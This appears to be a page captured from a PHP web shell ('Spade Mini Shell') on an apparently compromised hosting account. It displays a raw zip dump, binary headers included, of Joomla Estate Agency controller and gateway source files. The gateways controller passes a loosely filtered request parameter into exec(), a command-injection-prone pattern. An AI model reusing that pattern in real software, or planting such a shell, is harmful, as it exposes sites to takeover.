Spade
Mini Shell
| Directory:~$ /home/lmsyaran/public_html/css/ |
| [Home] [System Details] [Kill Me] |
PKdx�[
5����controllers/gateway.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
require_once JPATH_COMPONENT_ADMINISTRATOR .
'/gateways/dispatcher.php';
/**
* Gateway controller class.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 3.4
*/
class JeaControllerGateway extends JControllerForm
{
/**
* Constructor.
*
* @param array $config An optional associative array of configuration
settings.
*
* @see JControllerLegacy::__construct()
*/
public function __construct($config = array())
{
parent::__construct($config);
$this->view_item .= '&type=' .
JFactory::getApplication()->input->getCmd('type');
}
/**
* Output current gateway logs
*
* @return void
*/
public function getLogs()
{
$gateway = $this->getGateway();
// @var JApplicationWeb $application
$application = JFactory::getApplication();
$application->setHeader('Content-Type',
'text/plain', true);
$application->sendHeaders();
echo $gateway->getLogs();
$application->close();
}
/**
* Delete current gateway logs
*
* @return void
*/
public function deleteLogs()
{
$gateway = $this->getGateway();
$gateway->deleteLogs();
$this->getLogs();
}
/**
* Serve current gateway logs
*
* @return void
*/
public function downloadLogs()
{
JFactory::getApplication()->setHeader('Content-Disposition',
'attachment; filename="logs.txt"');
$this->getLogs();
}
/**
* Return the current gateway
*
* @return JeaGateway
*/
protected function getGateway()
{
$model = $this->getModel('Gateway', 'JeaModel',
array('ignore_request' => false));
$item = $model->getItem();
$dispatcher = GatewaysEventDispatcher::getInstance();
return $dispatcher->loadGateway($item);
}
}
PKdx�[��/��
�
controllers/gateways.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Gateways controller class.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 3.4
*/
class JeaControllerGateways extends JControllerAdmin
{
/**
* Ask the gateways to execute their export handlers
*
* @return void
*/
public function export()
{
$this->gatewaysExecute('export');
}
/**
* Ask the gateways to execute their import handlers
*
* @return void
*/
public function import()
{
$this->gatewaysExecute('import');
}
/**
* Ask the gateways to execute their action handlers
*
* @param string $task Action to execute
*
* @return void
*/
protected function gatewaysExecute($task)
{
// Check for request forgeries.
JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$application = JFactory::getApplication();
$application->setHeader('Content-Type',
'text/plain', true);
$application->sendHeaders();
$interpreter =
JFactory::getApplication()->input->getString('php_interpreter',
'php');
$matches = array();
if (preg_match('/^([a-zA-Z0-9-_.\/]+)/', $interpreter,
$matches) !== false)
{
$interpreter = $matches[1];
}
if (strpos($interpreter, 'php') === false)
{
echo "PHP interpreter must contains 'php' in its
name";
$application->close();
}
$command = ($task == 'export' ? $interpreter . ' '
. JPATH_COMPONENT_ADMINISTRATOR . '/cli/gateways.php --export
--basedir="' . JPATH_ROOT . '" --baseurl="' .
JUri::root() . '"' :
$interpreter . ' ' . JPATH_COMPONENT_ADMINISTRATOR .
'/cli/gateways.php --import --basedir="' . JPATH_ROOT .
'"');
echo "> $command\n\n";
$output = array();
$return = 0;
exec($command, $output, $return);
if ($return > 0)
{
echo "Error\n";
}
foreach ($output as $line)
{
echo "$line\n";
}
$application->close();
}
/**
* Method to get a JeaModelGateway model object, loading it if required.
*
* @param string $name The model name.
* @param string $prefix The class prefix.
* @param array $config Configuration array for model.
*
* @return JeaModelGateway|boolean Model object on success; otherwise
false on failure.
*
* @see JControllerForm::getModel()
*/
public function getModel($name = 'Gateway', $prefix =
'JeaModel', $config = array())
{
$model = parent::getModel($name, $prefix, $config);
return $model;
}
}
PKdx�[5ݑ�;;controllers/featurelist.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Featurelist controller class.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 2.0
*/
class JeaControllerFeaturelist extends JControllerAdmin
{
/**
* Method to get a JeaModelFeature model object, loading it if required.
*
* @param string $name The model name.
* @param string $prefix The class prefix.
* @param array $config Configuration array for model.
*
* @return JeaModelFeature|boolean Model object on success; otherwise
false on failure.
*
* @see JControllerForm::getModel()
*/
public function getModel($name = 'Feature', $prefix =
'JeaModel', $config = array())
{
$model = parent::getModel($name, $prefix, $config);
return $model;
}
}
PKdx�[�����controllers/features.json.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
require_once JPATH_COMPONENT_ADMINISTRATOR .
'/models/features.php';
require_once JPATH_COMPONENT_ADMINISTRATOR .
'/controllers/features.json.php';
PKdx�[AK�33controllers/properties.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Properties controller class.
*
* @package Joomla.Site
* @subpackage com_jea
*
* @since 2.0
*/
class JeaControllerProperties extends JControllerLegacy
{
/**
* The default view for the display method.
*
* @var string
*/
protected $default_view = 'properties';
/**
* Search action
*
* @return void
*/
public function search()
{
$app = JFactory::getApplication();
$app->input->set('layout', 'default');
$this->display();
}
}
PKdx�[���controllers/feature.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Feature controller class.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 2.0
*/
class JeaControllerFeature extends JControllerForm
{
/**
* The default view for the display method.
*
* @var string
*/
protected $view_list = 'featurelist';
/**
* Gets the URL arguments to append to an item redirect.
*
* @param integer $recordId The primary key id for the item.
* @param string $urlVar The name of the URL variable for the id.
*
* @return string The arguments to append to the redirect URL.
*
* @see JControllerForm::getRedirectToItemAppend()
*/
protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
{
$feature = $this->input->getCmd('feature');
$append = parent::getRedirectToItemAppend($recordId, $urlVar);
if ($feature)
{
$append .= '&feature=' . $feature;
}
return $append;
}
/**
* Method to get a JeaModelFeature model object, loading it if required.
*
* @param string $name The model name.
* @param string $prefix The class prefix.
* @param array $config Configuration array for model.
*
* @return JeaModelFeature|boolean Model object on success; otherwise
false on failure.
*
* @see JControllerForm::getModel()
*/
public function getModel($name = 'Feature', $prefix =
'JeaModel', $config = array())
{
$model = parent::getModel($name, $prefix, $config);
return $model;
}
}
PKdx�[Յ+��controllers/features.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Features controller class.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 2.0
*/
class JeaControllerFeatures extends JControllerLegacy
{
/**
* Method to export features tables as CSV
*
* @return void
*/
public function export()
{
$application = JFactory::getApplication();
$features = $this->input->get('cid', array(),
'array');
if (!empty($features))
{
$config = JFactory::getConfig();
$exportPath = $config->get('tmp_path') .
'/jea_export';
if (JFolder::create($exportPath) === false)
{
$msg = JText::_('JLIB_FILESYSTEM_ERROR_FOLDER_CREATE') .
' : ' . $exportPath;
$this->setRedirect('index.php?option=com_jea&view=features',
$msg, 'warning');
}
else
{
$xmlPath = JPATH_COMPONENT . '/models/forms/features/';
$xmlFiles = JFolder::files($xmlPath);
$model = $this->getModel();
$files = array();
foreach ($xmlFiles as $filename)
{
$matches = array();
if (preg_match('/^[0-9]{2}-([a-z]*).xml/', $filename,
$matches))
{
$feature = $matches[1];
if (in_array($feature, $features))
{
$form = simplexml_load_file($xmlPath . '/' . $filename);
$table = (string) $form['table'];
$files[] = array(
'data' => $model->getCSVData($table),
'name' => $table . '.csv'
);
}
}
}
$zipFile = $exportPath . '/jea_export_' . uniqid() .
'.zip';
$zip = JArchive::getAdapter('zip');
$zip->create($zipFile, $files);
$application->setHeader('Content-Type',
'application/zip', true);
$application->setHeader('Content-Disposition',
'attachment; filename="jea_features.zip"', true);
$application->setHeader('Content-Transfer-Encoding',
'binary', true);
$application->sendHeaders();
echo readfile($zipFile);
// Clean tmp files
JFile::delete($zipFile);
JFolder::delete($exportPath);
$application->close();
}
}
else
{
$msg = JText::_('JERROR_NO_ITEMS_SELECTED');
$this->setRedirect('index.php?option=com_jea&view=features',
$msg);
}
}
/**
* Method to import data in features tables
*
* @return void
*/
public function import()
{
$application = JFactory::getApplication();
$upload = JeaUpload::getUpload('csv');
$validExtensions = array('csv', 'CSV',
'txt', 'TXT');
$xmlPath = JPATH_COMPONENT . '/models/forms/features/';
$xmlFiles = JFolder::files($xmlPath);
$model = $this->getModel();
$tables = array();
// Retrieve the table names
foreach ($xmlFiles as $filename)
{
$matches = array();
if (preg_match('/^[0-9]{2}-([a-z]*).xml/', $filename,
$matches))
{
$feature = $matches[1];
if (!isset($tables[$feature]))
{
$form = simplexml_load_file($xmlPath . '/' . $filename);
$tables[$feature] = (string) $form['table'];
}
}
}
foreach ($upload as $file)
{
if ($file->isPosted() && isset($tables[$file->key]))
{
$file->setValidExtensions($validExtensions);
$file->check();
$fileErrors = $file->getErrors();
if (!$fileErrors)
{
try
{
$rows = $model->importFromCSV($file->temp_name,
$tables[$file->key]);
$msg =
JText::sprintf('COM_JEA_NUM_LINES_IMPORTED_ON_TABLE', $rows,
$tables[$file->key]);
$application->enqueueMessage($msg);
}
catch (Exception $e)
{
$application->enqueueMessage($e->getMessage(),
'warning');
}
}
else
{
foreach ($fileErrors as $error)
{
$application->enqueueMessage($error, 'warning');
}
}
}
}
$this->setRedirect('index.php?option=com_jea&view=features');
}
/**
* Method to get a JeaModelFeatures model object, loading it if required.
*
* @param string $name The model name.
* @param string $prefix The class prefix.
* @param array $config Configuration array for model.
*
* @return JeaModelFeatures|boolean Model object on success; otherwise
false on failure.
*
* @see JControllerForm::getModel()
*/
public function getModel($name = 'Features', $prefix =
'JeaModel', $config = array())
{
$model = parent::getModel($name, $prefix, $config);
return $model;
}
}
PKdx�[*K���
�
controllers/default.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Default controller class.
*
* @package Joomla.Site
* @subpackage com_jea
*
* @since 2.0
*/
class JeaControllerDefault extends JControllerLegacy
{
/**
* The default view for the display method.
*
* @var string
*/
protected $default_view = 'properties';
/**
* Overrides parent method.
*
* @param boolean $cachable If true, the view output will be cached
* @param array $urlparams An array of safe URL parameters and their
variable types, for valid values see {@link JFilterInput::clean()}.
*
* @return JControllerLegacy.
*
* @since 3.0
*/
public function display($cachable = false, $urlparams = array())
{
$layout =
JFactory::getApplication()->input->get('layout');
if ($layout == 'manage' || $layout == 'edit')
{
$user = JFactory::getUser();
$uri = JUri::getInstance();
$return = base64_encode($uri);
$access = false;
if ($layout == 'manage')
{
$access = $user->authorise('core.edit.own',
'com_jea');
}
elseif ($layout == 'edit')
{
$params = JFactory::getApplication()->getParams();
if ($params->get('login_behavior', 'before') ==
'before')
{
$access = $user->authorise('core.create',
'com_jea');
}
else
{
// If the login_behavior is set after save,
// so all users can see the property form.
$access = true;
}
}
if (!$access)
{
if ($user->id)
{
$this->setMessage(JText::_('JERROR_ALERTNOAUTHOR'),
'warning');
}
else
{
$this->setMessage(JText::_('JGLOBAL_YOU_MUST_LOGIN_FIRST'));
}
return
$this->setRedirect(JRoute::_('index.php?option=com_users&view=login&return='
. $return, false));
}
}
return parent::display($cachable, $urlparams);
}
/**
* Send contact form action
*
* @return JControllerLegacy
*/
public function sendContactForm()
{
$model = $this->getModel('Property', 'JeaModel');
$returnURL = $model->getState('contact.propertyURL');
// Check for request forgeries
if (!JSession::checkToken())
{
return $this->setRedirect($returnURL,
JText::_('JINVALID_TOKEN'), 'warning');
}
if (!$model->sendContactForm())
{
$errors = $model->getErrors();
$msg = '';
foreach ($errors as $error)
{
$msg .= $error . "\n";
}
return $this->setRedirect($returnURL, $msg, 'warning');
}
$msg = JText::_('COM_JEA_CONTACT_FORM_SUCCESSFULLY_SENT');
return $this->setRedirect($returnURL, $msg);
}
}
PKdx�[Z�=�controllers/property.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Property controller class.
*
* @package Joomla.Site
* @subpackage com_jea
*
* @since 2.0
*/
class JeaControllerProperty extends JControllerForm
{
/**
* The URL view item variable.
*
* @var string
*/
protected $view_item = 'form';
/**
* The URL view list variable.
*
* @var string
*/
protected $view_list = 'properties';
/**
* Overrides parent method.
*
* @param array $data An array of input data.
*
* @return boolean
*
* @see JControllerForm::allowAdd()
*/
protected function allowAdd($data = array())
{
$user = JFactory::getUser();
if (!$user->authorise('core.create', 'com_jea'))
{
$app = JFactory::getApplication();
$uri = JFactory::getURI();
$return = base64_encode($uri);
if ($user->get('id'))
{
$this->setMessage(JText::_('JERROR_ALERTNOAUTHOR'),
'warning');
}
else
{
$this->setMessage(JText::_('JGLOBAL_YOU_MUST_LOGIN_FIRST'));
}
// Save the data in the session.
$app->setUserState('com_jea.edit.property.data', $data);
$this->setRedirect(JRoute::_('index.php?option=com_users&view=login&return='
. $return, false));
return $this->redirect();
}
return true;
}
/**
* Overrides parent method.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key;
default is id.
*
* @return boolean
*
* @see JControllerForm::allowEdit()
*/
protected function allowEdit($data = array(), $key = 'id')
{
// Initialise variables.
$recordId = (int) isset($data[$key]) ? $data[$key] : 0;
$user = JFactory::getUser();
$asset = 'com_jea.property.' . $recordId;
// Check general edit permission first.
if ($user->authorise('core.edit', $asset))
{
return true;
}
// Fallback on edit.own. First test if the permission is available.
if ($user->authorise('core.edit.own', $asset))
{
// Now test the owner is the user.
$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
if (empty($ownerId) && $recordId)
{
// Need to do a lookup from the model.
$record = $this->getModel()->getItem($recordId);
if (empty($record))
{
return false;
}
$ownerId = $record->created_by;
}
// If the owner matches 'me' then do the test.
if ($ownerId == $user->id)
{
return true;
}
}
// Since there is no asset tracking, revert to the component permissions.
return parent::allowEdit($data, $key);
}
/**
* Unpublish a property
*
* @return void
*/
public function unpublish()
{
$this->publish(0);
}
/**
* Publish/Unpublish a property
*
* @param integer $action 0 -> unpublish, 1 -> publish
*
* @return void
*/
public function publish($action = 1)
{
$id = JFactory::getApplication()->input->get('id', 0,
'int');
$this->getModel()->publish($id, $action);
$this->setRedirect(JRoute::_('index.php?option=com_jea&view=properties'
. $this->getRedirectToListAppend(), false));
}
/**
* Delete a property
*
* @return void
*/
public function delete()
{
$id = JFactory::getApplication()->input->get('id', 0,
'int');
if ($this->getModel()->delete($id))
{
$this->setMessage(JText::_('COM_JEA_SUCCESSFULLY_REMOVED_PROPERTY'));
}
$this->setRedirect(JRoute::_('index.php?option=com_jea&view=properties'
. $this->getRedirectToListAppend(), false));
}
/**
* Overrides parent method.
*
* @param string $name The model name. Optional.
* @param string $prefix The class prefix. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JeaModelForm|boolean Model object on success; otherwise false
on failure.
*
* @see JControllerLegacy::getModel()
*/
public function getModel($name = 'form', $prefix = '',
$config = array('ignore_request' => true))
{
$model = parent::getModel($name, $prefix, $config);
return $model;
}
/**
* Overrides parent method.
*
* @param integer $recordId The primary key id for the item.
* @param string $urlVar The name of the URL variable for the id.
*
* @return string The arguments to append to the redirect URL.
*
* @see JControllerForm::getRedirectToItemAppend()
*/
protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
{
$tmpl = $this->input->getCmd('tmpl');
$append = '&layout=edit';
// Setup redirect info.
if ($tmpl)
{
$append .= '&tmpl=' . $tmpl;
}
if ($recordId)
{
$append .= '&' . $urlVar . '=' . $recordId;
}
return $append;
}
/**
* Overrides parent method.
*
* @return string The arguments to append to the redirect URL.
*
* @see JControllerForm::getRedirectToListAppend()
*/
protected function getRedirectToListAppend()
{
$tmpl = $this->input->getCmd('tmpl');
$append = '&layout=manage';
// Try to redirect to the manage menu item if found
$app = JFactory::getApplication();
$menu = $app->getMenu();
$activeItem = $menu->getActive();
if (isset($activeItem->query['layout']) &&
$activeItem->query['layout'] != 'manage')
{
$items = $menu->getItems('component', 'com_jea');
foreach ($items as $item)
{
$layout = isset($item->query['layout']) ?
$item->query['layout'] : '';
if ($layout == 'manage')
{
$append .= '&Itemid=' . $item->id;
}
}
}
// Setup redirect info.
if ($tmpl)
{
$append .= '&tmpl=' . $tmpl;
}
return $append;
}
}
PKdx�[�66controllers/gateway.json.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
require_once JPATH_COMPONENT_ADMINISTRATOR .
'/gateways/dispatcher.php';
/**
* Gateway controller class for AJAX requests.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 3.4
*/
class JeaControllerGateway extends JControllerLegacy
{
/**
* Constructor.
*
* @param array $config An optional associative array of configuration
settings.
*
* @see JControllerLegacy::__construct()
*/
public function __construct($config = array())
{
parent::__construct($config);
set_exception_handler(array('JeaControllerGateway',
'error'));
}
/**
* Custom Exception Handler
* displaying Exception in Json format
*
* @param Exception $e An error exception
*
* @return void
*/
public static function error($e)
{
$error = array(
'error' => $e->getmessage(),
'errorCode' => $e->getCode(),
'trace' => $e->getTraceAsString(),
);
echo json_encode($error);
}
/**
* Ask the gateway to execute export
*
* @return void
*/
public function export()
{
$this->gatewayExecute('export');
}
/**
* Ask the gateway to execute import
*
* @return void
*/
public function import()
{
$this->gatewayExecute('import');
}
/**
* Ask the gateway to execute action
*
* @param string $task Action to execute
*
* @return void
*/
protected function gatewayExecute($task)
{
$model = $this->getModel('Gateway', 'JeaModel');
$gateway = $model->getItem();
$dispatcher = GatewaysEventDispatcher::getInstance();
$dispatcher->loadGateway($gateway);
if ($task == 'import')
{
$dispatcher->trigger('activatePersistance');
}
$responses = $dispatcher->trigger($task);
echo isset($responses[0]) ? json_encode($responses[0]) : '{}';
}
}
PKdx�[$Tr��gateways/gateway.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
use Joomla\CMS\Log\Log;
/**
* The base class for all gateways
*
* @since 3.4
*/
abstract class JeaGateway extends JEvent
{
/**
* A Registry object holding the parameters for the gateway
*
* @var Registry
*/
public $params = null;
/**
* The id of the gateway
*
* @var string
*/
public $id = null;
/**
* The provider of the gateway
*
* @var string
*/
public $provider = null;
/**
* The title of the gateway
*
* @var string
*/
public $title = null;
/**
* The gateway type
*
* @var string
*/
public $type = null;
/**
* The gateway log file
*
* @var string
*/
protected $logFile = '';
/**
* Constructor
*
* @param object $subject The object to observe
* @param array $config An optional associative array of
configuration settings.
*/
public function __construct(&$subject, $config = array())
{
if (isset($config['params']) &&
$config['params'] instanceof Registry)
{
$this->params = $config['params'];
}
if (isset($config['id']))
{
$this->id = $config['id'];
}
if (isset($config['type']))
{
$this->type = $config['type'];
}
if (isset($config['provider']))
{
$this->provider = $config['provider'] . '_' .
$this->id;
}
if (isset($config['title']))
{
$this->title = $config['title'];
}
$this->logFile = $this->type . '_' . $this->provider .
'.php';
parent::__construct($subject);
}
/**
* Write a log message
*
* Status codes :
*
* EMERG = 0; // Emergency: system is unusable
* ALERT = 1; // Alert: action must be taken immediately
* CRIT = 2; // Critical: critical conditions
* ERR = 3; // Error: error conditions
* WARN = 4; // Warning: warning conditions
* NOTICE = 5; // Notice: normal but significant condition
* INFO = 6; // Informational: informational messages
* DEBUG = 7; // Debug: debug messages
*
* @param string $message The log message
* @param string $status See status codes above
*
* @return void
*/
public function log($message, $status = '')
{
// A category name
$cat = $this->provider;
Log::addLogger(
array('text_file' => $this->logFile),
Log::ALL,
$cat
);
$status = strtoupper($status);
$levels = array(
'EMERG' => Log::EMERGENCY,
'ALERT' => Log::ALERT,
'CRIT' => Log::CRITICAL,
'ERR' => Log::ERROR,
'WARN' => Log::WARNING,
'NOTICE' => Log::NOTICE,
'INFO' => Log::INFO,
'DEBUG' => Log::DEBUG
);
$status = isset($levels[$status]) ? $levels[$status] : Log::INFO;
Log::add($message, $status, $cat);
}
/**
* Output a message in CLI mode
*
* @param string $message A message
*
* @return void
*/
public function out($message = '')
{
$application = JFactory::getApplication();
if ($application instanceof JApplicationCli)
{
// @var JApplicationCli $application
$application->out($message);
}
}
/**
* Get logs
*
* @return string
*/
public function getLogs()
{
$file = JFactory::getConfig()->get('log_path') .
'/' . $this->logFile;
if (JFile::exists($file))
{
return file_get_contents($file);
}
return '';
}
/**
* Delete logs
*
* @return boolean
*/
public function deleteLogs()
{
$file = JFactory::getConfig()->get('log_path') .
'/' . $this->logFile;
if (JFile::exists($file))
{
return JFile::delete($file);
}
return false;
}
}
PKdx�[p&�``gateways/dispatcher.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
/**
* Custom Event dispatcher class for JEA gateways
*
* @since 3.4
*/
class GatewaysEventDispatcher extends JEventDispatcher
{
/**
* Stores the singleton instance of the dispatcher.
*
* @var GatewaysEventDispatcher
*/
protected static $gInstance = null;
/**
* Get unique Instance of GatewaysEventDispatcher
*
* @return GatewaysEventDispatcher
*/
public static function getInstance()
{
if (self::$gInstance === null)
{
self::$gInstance = new static;
}
return self::$gInstance;
}
/**
* Attach an observer object
*
* @param object $observer An observer object to attach
*
* @return void
*/
public function attach($observer)
{
if (! ($observer instanceof JeaGateway))
{
return;
}
/*
* The main difference with the parent method
* is to attach several instances of the same
* class.
*/
$this->_observers[] = $observer;
$methods = get_class_methods($observer);
end($this->_observers);
$key = key($this->_observers);
foreach ($methods as $method)
{
$method = strtolower($method);
if (! isset($this->_methods[$method]))
{
$this->_methods[$method] = array();
}
$this->_methods[$method][] = $key;
}
}
/**
* Triggers an event by dispatching arguments to all observers that handle
* the event and returning their return values.
*
* @param string $event The event to trigger.
* @param array $args An array of arguments.
*
* @return array An array of results from each function call.
*/
public function trigger($event, $args = array())
{
$result = array();
$args = (array) $args;
$event = strtolower($event);
// Check if any gateways are attached to the event.
if (!isset($this->_methods[$event]) ||
empty($this->_methods[$event]))
{
// No gateways associated to the event!
return $result;
}
// Loop through all gateways having a method matching our event
foreach ($this->_methods[$event] as $key)
{
// Check if the gateway is present.
if (!isset($this->_observers[$key]))
{
continue;
}
if ($this->_observers[$key] instanceof JeaGateway)
{
try
{
$args['event'] = $event;
$value = $this->_observers[$key]->update($args);
}
catch (Exception $e)
{
$application = JFactory::getApplication();
$gateway = $this->_observers[$key];
$gateway->log($e->getMessage(), 'err');
if ($application instanceof JApplicationCli)
{
/*
* In CLI mode, output the error but don't stop the
* execution loop of other gateways
*/
$gateway->out('Error [' . $gateway->title . '] :
' . $e->getMessage());
}
else
{
/*
* In AJAX mode, only one gateway is loaded per request,
* so we can stop the loop.
* Exception will be catched later in a custom Exception handler
*/
throw $e;
}
}
}
if (isset($value))
{
$result[] = $value;
}
}
return $result;
}
/**
* Load JEA gateways
*
* @param string $type If set, must be 'export' or
'import'
*
* @return void
*/
public function loadGateways($type = null)
{
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('*');
$query->from('#__jea_gateways');
$query->where('published=1');
if (! empty($type))
{
$query->where('type=' . $db->Quote($type));
}
$query->order('ordering ASC');
$db->setQuery($query);
$rows = $db->loadObjectList();
foreach ($rows as $row)
{
$this->loadGateway($row);
}
}
/**
* Load one JEA gateway
*
* @param $object $gateway he row DB gateway
*
* @return JeaGateway
*
* @throws Exception if gateway cannot be loaded
*/
public function loadGateway($gateway)
{
$gatewayFile = JPATH_ADMINISTRATOR .
'/components/com_jea/gateways/providers/' . $gateway->provider
. '/' . $gateway->type . '.php';
if (JFile::exists($gatewayFile))
{
require_once $gatewayFile;
$className = 'JeaGateway' . ucfirst($gateway->type) .
ucfirst($gateway->provider);
if (class_exists($className))
{
$dispatcher = static::getInstance();
$config = array(
'id' => $gateway->id,
'provider' => $gateway->provider,
'title' => $gateway->title,
'type' => $gateway->type,
'params' => new Registry($gateway->params)
);
return new $className($dispatcher, $config);
}
else
{
throw new Exception('Gateway class not found : ' .
$className);
}
}
else
{
throw new Exception('Gateway file not found : ' .
$gatewayFile);
}
}
}
PKdx�[%��4�4gateways/import.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
require_once JPATH_COMPONENT_ADMINISTRATOR .
'/gateways/gateway.php';
/**
* The base class for import gateways
*
* @since 3.4
*/
abstract class JeaGatewayImport extends JeaGateway
{
/**
* Delete Jea properties which are not included in the import set
*
* @var boolean
*/
protected $autoDeletion = true;
/**
* Remember the last import
*
* @var boolean
*/
protected $persistance = false;
/**
* The number of properties to import.
* Used to split the import in several requests (AJAX)
*
* @var integer
*/
protected $propertiesPerStep = 0;
/**
* The number of properties created during import
*
* @var integer
*/
protected $created = 0;
/**
* The number of properties updated during import
*
* @var integer
*/
protected $updated = 0;
/**
* The number of properties created or imported during import
*
* @var integer
*/
protected $imported = 0;
/**
* The number of properties removed during import
*
* @var integer
*/
protected $removed = 0;
/**
* The number of properties that should be imported
*
* @var integer
*/
protected $total = 0;
/**
* Array of properties already imported
*
* @var array
*/
protected $importedProperties = array();
/**
* Constructor
*
* @param object $subject The object to observe
* @param array $config An optional associative array of
configuration settings.
*/
public function __construct(&$subject, $config = array())
{
parent::__construct($subject, $config);
$this->autoDeletion = (bool)
$this->params->get('auto_deletion', 0);
}
/**
* Remember the last import
*
* @return void
*/
public function activatePersistance()
{
$this->persistance = true;
$this->propertiesPerStep =
$this->params->get('properties_per_step', 5);
}
/**
* InitWebConsole event handler
*
* @return void
*/
public function initWebConsole()
{
JHtml::script('media/com_jea/js/admin/gateway.js');
$title = addslashes($this->title);
// Register script messages
JText::script('COM_JEA_IMPORT_START_MESSAGE', true);
JText::script('COM_JEA_IMPORT_END_MESSAGE', true);
JText::script('COM_JEA_GATEWAY_PROPERTIES_FOUND', true);
JText::script('COM_JEA_GATEWAY_PROPERTIES_CREATED', true);
JText::script('COM_JEA_GATEWAY_PROPERTIES_UPDATED', true);
JText::script('COM_JEA_GATEWAY_PROPERTIES_DELETED', true);
$script = "jQuery(document).on('registerGatewayAction',
function(event, webConsole, dispatcher) {\n"
. " dispatcher.register(function() {\n"
. " JeaGateway.startImport($this->id,
'$title', webConsole);\n"
. " });\n"
. "});";
JFactory::getDocument()->addScriptDeclaration($script);
}
/**
* Method called before the import
* This could be overriden in child class
*
* @return void
*/
protected function beforeImport()
{
}
/**
* Method called after the import
* This could be overriden in child class
*
* @return void
*/
protected function afterImport()
{
}
/**
* The import handler method
*
* @return array the import summary
*/
public function import()
{
if ($this->persistance == true &&
$this->hasPersistentProperties())
{
$properties = $this->getPersistentProperties();
}
else
{
$this->beforeImport();
$properties = & $this->parse();
}
$this->total = count($properties);
if (empty($this->total))
{
// Do nothing if there is no properties
return $this->getSummary();
}
$idsToRemove = array();
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('*')->from('#__jea_properties');
if (! empty($this->provider))
{
$query->where('provider=' .
$db->quote($this->provider));
}
$db->setQuery($query);
$existingProperties = $db->loadObjectList();
foreach ($existingProperties as $row)
{
if (isset($this->importedProperties[$row->ref]))
{
// Property already been imported
continue;
}
if (isset($properties[$row->ref]) &&
